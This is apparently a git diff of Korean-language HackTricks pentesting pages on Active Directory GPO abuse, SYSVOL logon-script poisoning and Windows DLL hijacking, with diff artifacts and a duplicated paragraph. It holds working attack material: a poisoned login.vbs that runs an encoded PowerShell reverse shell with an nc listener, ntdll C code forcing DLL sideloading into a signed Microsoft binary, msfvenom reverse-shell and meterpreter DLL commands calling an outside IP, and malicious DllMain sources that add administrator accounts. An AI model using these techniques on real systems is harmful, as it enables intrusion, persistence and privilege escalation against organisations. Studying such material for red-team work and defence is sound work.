Users and Groups용 XML 구성 파일은 이러한 변경이 어떻게 구현되는지 개략을 보여줍니다. 이 파일에 항목을 추가함으로써 특정 사용자에게 영향을 받는 시스템 전반에 걸쳐 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 직접적인 권한 상승 방법을 제공합니다.
|
||||
|
||||
또한 logon/logoff scripts 활용, autoruns를 위한 registry keys 수정, .msi 파일을 통한 소프트웨어 설치, 서비스 구성 편집 등 코드 실행이나 지속성 유지에 대한 추가적인 방법들도 고려될 수 있습니다. 이러한 기술들은 GPOs를 악용하여 접근을 유지하고 대상 시스템을 제어할 수 있는 다양한 경로를 제공합니다.
|
||||
또한 logon/logoff 스크립트 활용, autorun을 위한 레지스트리 키 수정, .msi 파일을 통한 소프트웨어 설치, 서비스 구성 편집 등 코드 실행이나 지속성 유지를 위한 추가적인 방법들도 고려할 수 있습니다. 이러한 기술은 GPOs 남용을 통해 접근을 유지하고 대상 시스템을 제어할 수 있는 다양한 경로를 제공합니다.
|
||||
|
||||
## 참고 자료
|
||||
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||
|
||||
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
|
||||
|
||||
### 로그온 스크립트 찾기
|
||||
- 구성된 로그온 스크립트에 대해 사용자 속성을 검사합니다:
|
||||
```powershell
|
||||
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||
```
|
||||
- domain shares를 크롤링하여 shortcuts 또는 scripts에 대한 참조를 찾아냅니다:
|
||||
```bash
|
||||
# NetExec spider (authenticated)
|
||||
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||
```
|
||||
- `.lnk` 파일을 파싱하여 SYSVOL/NETLOGON을 가리키는 대상 경로를 파악함 (유용한 DFIR 트릭이자 직접 GPO 접근 권한이 없는 공격자에게 유용함):
|
||||
```bash
|
||||
# LnkParse3
|
||||
lnkparse login.vbs.lnk
|
||||
# Example target revealed:
|
||||
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||
```
|
||||
- BloodHound는 사용자 노드에 `logonScript` (scriptPath) 속성이 있으면 표시합니다.
|
||||
|
||||
### 쓰기 권한 확인 (공유 목록을 믿지 마세요)
|
||||
자동화 도구는 SYSVOL/NETLOGON을 읽기 전용으로 표시할 수 있지만, 기본 NTFS ACL은 여전히 쓰기를 허용할 수 있습니다. 항상 테스트하세요:
|
||||
```bash
|
||||
# Interactive write test
|
||||
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||
smb: \\> cd <domain>\scripts\
|
||||
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||
```
|
||||
파일 크기(file size)나 mtime이 변경되면 write 권한이 있습니다. 수정하기 전에 원본을 보존하세요.
|
||||
|
||||
### Poison a VBScript 로그온 스크립트로 RCE
|
||||
PowerShell reverse shell (revshells.com에서 생성)를 실행하는 명령을 append하고, 비즈니스 기능이 중단되지 않도록 원래 로직을 유지하세요:
|
||||
```vb
|
||||
' At top of login.vbs
|
||||
Set cmdshell = CreateObject("Wscript.Shell")
|
||||
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||
|
||||
' Existing mappings remain
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||
```
|
||||
호스트에서 listen하고 다음 대화형 로그온을 기다립니다:
|
||||
```bash
|
||||
rlwrap -cAr nc -lnvp 443
|
||||
```
|
||||
노트:
|
||||
- 실행은 로깅된 사용자의 token (not SYSTEM)으로 수행됩니다. 범위는 해당 스크립트를 적용하는 GPO 링크(OU, site, domain)입니다.
|
||||
- 사용 후 원래 내용과 타임스탬프를 복원하여 정리하세요.
|
||||
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
@ -187,5 +283,9 @@ Users and Groups에 대한 XML 구성 파일은 이러한 변경이 어떻게
|
||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,320 +0,0 @@
|
||||
# Dll Hijacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
DLL Hijacking은 신뢰되는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것을 포함합니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading** 같은 여러 전술을 포괄합니다. 주로 코드 실행, 지속성 확보에 사용되며, 드물게 권한 상승에 이용됩니다. 여기서는 권한 상승에 초점을 맞추었지만, hijacking 방법 자체는 목적에 상관없이 동일합니다.
|
||||
|
||||
### 일반적인 기법
|
||||
|
||||
응용프로그램의 DLL 로딩 방식에 따라 효과가 달라지는 여러 방법이 사용됩니다:
|
||||
|
||||
1. **DLL Replacement**: 정품 DLL을 악성 DLL로 교체하고, 원본 DLL의 기능을 유지하기 위해 선택적으로 DLL Proxying을 사용할 수 있습니다.
|
||||
2. **DLL Search Order Hijacking**: 악성 DLL을 정식 DLL보다 먼저 검색되는 경로에 배치하여 악용합니다.
|
||||
3. **Phantom DLL Hijacking**: 애플리케이션이 필요로 하지만 존재하지 않는 DLL로 판단하도록 악성 DLL을 생성하여 로드되게 합니다.
|
||||
4. **DLL Redirection**: `%PATH%`나 `.exe.manifest` / `.exe.local` 파일 같은 검색 매개변수를 수정해 애플리케이션이 악성 DLL을 찾도록 유도합니다.
|
||||
5. **WinSxS DLL Replacement**: WinSxS 디렉터리의 정식 DLL을 악성 DLL로 대체하는 방법으로, 종종 DLL side-loading과 관련됩니다.
|
||||
6. **Relative Path DLL Hijacking**: 복사한 애플리케이션과 함께 공격자가 제어할 수 있는 디렉터리에 악성 DLL을 배치하는 방식으로, Binary Proxy Execution 기법과 유사합니다.
|
||||
|
||||
## 누락된 Dll 찾기
|
||||
|
||||
시스템 내 누락된 Dll을 찾는 가장 일반적인 방법은 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) (sysinternals) 를 실행하고, **다음 2개의 필터**를 설정하는 것입니다:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
그리고 **File System Activity**만 표시합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
일반적으로 **누락된 dll을 찾는 경우**에는 이 상태로 몇 **초** 동안 실행해 둡니다.\
|
||||
특정 실행 파일 내에서 **누락된 dll을 찾는 경우**에는 **"Process Name" "contains" "\<exec name>"** 같은 추가 필터를 설정하고, 실행한 다음 이벤트 캡처를 중지해야 합니다.
|
||||
|
||||
## 누락된 Dll 악용하기
|
||||
|
||||
권한 상승을 위해 가장 유리한 상황은 **권한이 높은 프로세스가 로드하려고 시도할 DLL을 쓸 수 있는 위치에 쓰는 것**입니다. 따라서 DLL이 원본 DLL이 있는 폴더보다 먼저 검색되는 폴더에 DLL을 **쓰기**할 수 있거나(드문 경우), DLL이 검색되는 폴더 중 하나에 쓸 수 있고 원본 **dll이 어느 폴더에도 존재하지 않는** 경우가 최선입니다.
|
||||
|
||||
### Dll 검색 순서
|
||||
|
||||
[**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.
|
||||
|
||||
Windows 애플리케이션은 미리 정의된 검색 경로 집합을 따라 DLL을 찾으며, 특정 순서를 따릅니다. 악성 DLL이 이러한 디렉터리 중 하나에 전략적으로 배치되면 정품 DLL보다 먼저 로드되어 DLL hijacking이 발생할 수 있습니다. 이를 방지하는 한 가지 방법은 애플리케이션이 필요로 하는 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다.
|
||||
|
||||
다음은 32-bit 시스템에서의 DLL 검색 순서입니다:
|
||||
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
이는 **SafeDllSearchMode**가 활성화된 기본 검색 순서입니다. 이 기능이 비활성화되면 현재 디렉터리의 우선순위가 두 번째로 상승합니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 생성하고 0으로 설정하면 됩니다(기본값은 활성화).
|
||||
|
||||
만약 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH** 플래그와 함께 호출되면, 검색은 **LoadLibraryEx**가 로드하는 실행 모듈의 디렉터리에서 시작합니다.
|
||||
|
||||
마지막으로, **절대 경로**로 DLL을 지정하면 그 DLL은 **오직 그 경로에서만** 검색됩니다(해당 DLL이 다른 종속성을 갖는 경우, 그 종속성들은 이름으로 로드된 것처럼 검색됩니다).
|
||||
|
||||
검색 순서를 변경하는 다른 방법들도 있지만 여기서는 설명하지 않겠습니다.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
새로 생성되는 프로세스의 DLL 검색 경로에 결정적으로 영향을 주는 고급 방법은 ntdll의 네이티브 API로 프로세스를 생성할 때 RTL_USER_PROCESS_PARAMETERS의 DllPath 필드를 설정하는 것입니다. 여기서 공격자가 제어하는 디렉터리를 제공하면, 대상 프로세스가 DLL을 이름으로(절대 경로 없이, 안전 로드 플래그를 사용하지 않고) 해결할 때 해당 디렉터리에서 악성 DLL을 로드하도록 강제할 수 있습니다.
|
||||
|
||||
핵심 아이디어
|
||||
- RtlCreateProcessParametersEx로 프로세스 매개변수를 구성하고, 제어하는 폴더(예: dropper/unpacker가 있는 디렉터리)를 가리키는 커스텀 DllPath를 제공합니다.
|
||||
- RtlCreateUserProcess로 프로세스를 생성합니다. 대상 바이너리가 DLL을 이름으로 해결할 때 로더는 이 제공된 DllPath를 참조하여, 악성 DLL이 대상 EXE와 동일 디렉터리에 있지 않아도 신뢰성 있는 sideloading이 가능해집니다.
|
||||
|
||||
참고/제한사항
|
||||
- 이것은 생성되는 자식 프로세스에 영향을 미치며, 현재 프로세스에만 영향을 주는 SetDllDirectory와는 다릅니다.
|
||||
- 대상은 이름으로 DLL을 import하거나 LoadLibrary해야 합니다(절대 경로가 아니고 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories를 사용하지 않을 것).
|
||||
- KnownDLLs와 하드코딩된 절대 경로는 hijack할 수 없습니다. Forwarded exports와 SxS는 우선순위를 변경할 수 있습니다.
|
||||
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
운영 사용 예시
|
||||
- 악성 xmllite.dll(필요한 함수를 export하거나 실제 DLL로 프록시하는)을 DllPath 디렉토리에 배치합니다.
|
||||
- 위 기법을 사용하여 이름으로 xmllite.dll을 조회하는 것으로 알려진 서명된 바이너리를 실행합니다. 로더는 제공된 DllPath를 통해 임포트를 해결하고 당신의 DLL을 sideloads 합니다.
|
||||
|
||||
이 기법은 실제 환경에서 multi-stage sideloading chains를 발생시키는 데 사용되는 것이 관찰되었습니다: 초기 런처가 helper DLL을 드롭하고, 그 후 해당 DLL이 custom DllPath로 Microsoft-signed인 hijackable 바이너리를 실행시켜 스테이징 디렉토리에서 공격자의 DLL을 강제 로드하도록 합니다.
|
||||
|
||||
|
||||
#### Windows 문서에서의 dll 검색 순서 예외사항
|
||||
|
||||
Windows 문서에는 표준 DLL 검색 순서의 특정 예외사항이 명시되어 있습니다:
|
||||
|
||||
- 이미 메모리에 로드된 것과 같은 이름을 가진 **DLL that shares its name with one already loaded in memory**이 발견되면, 시스템은 일반적인 검색을 건너뜁니다. 대신 리디렉션과 manifest를 확인한 후 메모리에 이미 있는 DLL을 기본으로 사용합니다. **In this scenario, the system does not conduct a search for the DLL**.
|
||||
- 해당 DLL이 현재 Windows 버전에서 **known DLL**로 인식되는 경우, 시스템은 그 버전의 known DLL과 그에 종속된 DLL들을 사용하여 **forgoing the search process**합니다. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**에는 이러한 known DLL들의 목록이 저장되어 있습니다.
|
||||
- **DLL have dependencies**가 있는 경우, 이러한 종속 DLL들의 검색은 초기 DLL이 전체 경로로 식별되었는지 여부와 관계없이 마치 **module names**로만 지정된 것처럼 수행됩니다.
|
||||
|
||||
### Escalating Privileges
|
||||
|
||||
**Requirements**:
|
||||
|
||||
- 서로 다른 권한으로 실행되거나 실행될 (horizontal or lateral movement) 프로세스 중에서 **DLL이 없는** 것을 식별합니다.
|
||||
- **DLL**이 **검색될** 어떤 **directory**에 대해서든 **write access**가 가능한지 확인합니다. 이 위치는 실행 파일의 디렉터리이거나 시스템 경로 내의 디렉터리일 수 있습니다.
|
||||
|
||||
네, 요구 조건을 찾는 것은 까다롭습니다 — **기본적으로 권한이 있는 실행 파일이 dll을 누락한 상태로 존재하는 것을 찾는 것은 좀 이상하고**, 시스템 경로 폴더에 쓰기 권한이 있는 것은 **더욱 이상합니다**(기본적으로는 불가능합니다). 하지만 잘못 구성된 환경에서는 이 조건이 성립할 수 있습니다.\
|
||||
운이 좋아서 요구사항을 충족하는 경우, [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인해 보세요. **main goal of the project is bypass UAC** 이긴 하지만, 해당 Windows 버전에 맞는 Dll hijaking의 **PoC**를 찾을 수 있으며(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됨) 활용할 수 있습니다.
|
||||
|
||||
참고로 폴더에서 **권한을 확인하는 방법**은 다음과 같습니다:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
그리고 **PATH 내부의 모든 폴더 권한을 확인하세요**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
또한 다음 명령어로 executable의 imports와 dll의 exports를 확인할 수 있습니다:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Automated tools
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)은 system PATH 내의 어떤 폴더에 쓰기 권한이 있는지 확인합니다.\
|
||||
이 취약점을 찾기 위한 다른 흥미로운 자동화 도구로는 **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_가 있습니다.
|
||||
|
||||
### Example
|
||||
|
||||
취약한 시나리오를 찾은 경우, 이를 성공적으로 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 해당 DLL에서 import할 모든 함수들을 최소한으로 export하는 dll을 생성하는 것**입니다. 어쨌든, Dll Hijacking은 [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) 또는 [ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** 예제로 **유효한 dll을 만드는 방법**은 이 실행을 위한 dll hijacking 연구에서 확인할 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
또한, 다음 섹션에서는 **템플릿으로 유용하거나** 필수적이지 않은 함수들을 export하는 **dll을 만들 때 사용할 수 있는 몇 가지 기본 dll 코드들**을 찾을 수 있습니다.
|
||||
|
||||
## **Creating and compiling Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
기본적으로 **Dll proxy**는 로드될 때 **악성 코드를 실행할 수 있으면서**, 동시에 **실제 라이브러리로의 모든 호출을 중계(relay)하여** 기대되는 대로 **노출되고 동작하는** Dll입니다.
|
||||
|
||||
[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus) 도구를 사용하면 대상 실행 파일을 지정하고 프록시화할 라이브러리를 선택해 **프록시화된 dll을 생성**하거나, Dll을 지정해 **프록시화된 dll을 생성**할 수 있습니다.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**rev shell (x64) 얻기:**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**meterpreter (x86) 얻기:**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**사용자 생성(x86 — x64 버전은 확인하지 못함):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### 직접 만든 경우
|
||||
|
||||
여러 경우에 컴파일하는 Dll은 피해자 프로세스가 로드할 여러 함수를 반드시 **export several functions** 해야 합니다. 이러한 함수들이 존재하지 않으면 **binary won't be able to load** them, 그리고 **exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
switch(dwReason){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
system("whoami > C:\\users\\username\\whoami.txt");
|
||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
||||
|
||||
#include <windows.h>
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
||||
if (dwReason == DLL_PROCESS_ATTACH){
|
||||
system("cmd.exe /k net localgroup administrators user /add");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
int owned()
|
||||
{
|
||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
||||
exit(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
owned();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//Another possible DLL
|
||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
||||
|
||||
#include<windows.h>
|
||||
#include<stdlib.h>
|
||||
#include<stdio.h>
|
||||
|
||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
||||
system("cmd");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call){
|
||||
case DLL_PROCESS_ATTACH:
|
||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DEATCH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## 참고자료
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user